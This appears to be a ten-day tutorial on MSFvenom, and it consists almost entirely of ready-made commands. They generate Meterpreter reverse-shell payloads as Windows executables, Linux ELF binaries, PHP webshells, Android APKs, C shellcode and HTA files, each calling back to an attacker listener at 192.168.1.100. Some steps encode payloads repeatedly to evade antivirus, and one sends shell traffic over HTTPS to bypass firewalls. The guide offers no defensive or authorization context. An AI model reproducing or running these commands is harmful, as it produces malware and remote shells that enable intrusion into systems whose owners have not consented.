MSFvenom Mastery Guide (Day 1–10)

Day 1: Basic Payload Generation

■ *Windows Reverse Shell*

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100
LPORT=4444 -f exe -o shell.exe
```

Purpose: Generates a Windows reverse shell payload.

Day 2: Linux Payloads

■ *Linux ELF Payload*

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.100
LPORT=4444 -f elf -o shell.elf
```

Purpose: Creates a malicious ELF binary for Linux targets.

Day 3: Web Payloads

■ *PHP Webshell*

```
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -o shell.php
```

Purpose: Generates a PHP reverse shell for web servers.

Day 4: Android Payloads

■ *Malicious APK*

```
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.100
LPORT=4444 -o app.apk
```

Purpose: Creates an Android application that connects back to the attacker.

Day 5: Shellcode Generation

■ *C-Style Shellcode*

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100
LPORT=4444 -f c
```

Purpose: Generates shellcode in C format for embedding into exploits.

Day 6: Encoders & Obfuscation

■ *Encoded Payload*

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100
LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe
```

Purpose: Encodes payload multiple times to evade antivirus.

Day 7: Multi-handler Stager

■ *HTTPS Reverse Shell*

```
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.100
LPORT=443 -f exe -o shell.exe
```

Purpose: Uses HTTPS for reverse shell traffic to bypass firewalls.

Day 8: Staged vs Stageless Payloads

■ *Comparison Example*

```
Staged: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100
LPORT=4444 -f exe -o staged.exe Stageless: msfvenom -p
windows/meterpreter_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o
stageless.exe
```

Purpose: Shows difference between staged (loads in parts) and stageless (full payload in one go).

Day 9: Custom File Formats

■ *HTA Payload*

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100
LPORT=4444 -f hta-psh -o evil.hta
```

Purpose: Generates payloads in HTA/PowerShell/VBS formats for execution.

Day 10: Hybrid Payloads

■ *Cross-platform Payload*

```
msfvenom -p multi/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444
-f raw -o shell.raw
```

Purpose: Creates a flexible payload usable across different platforms.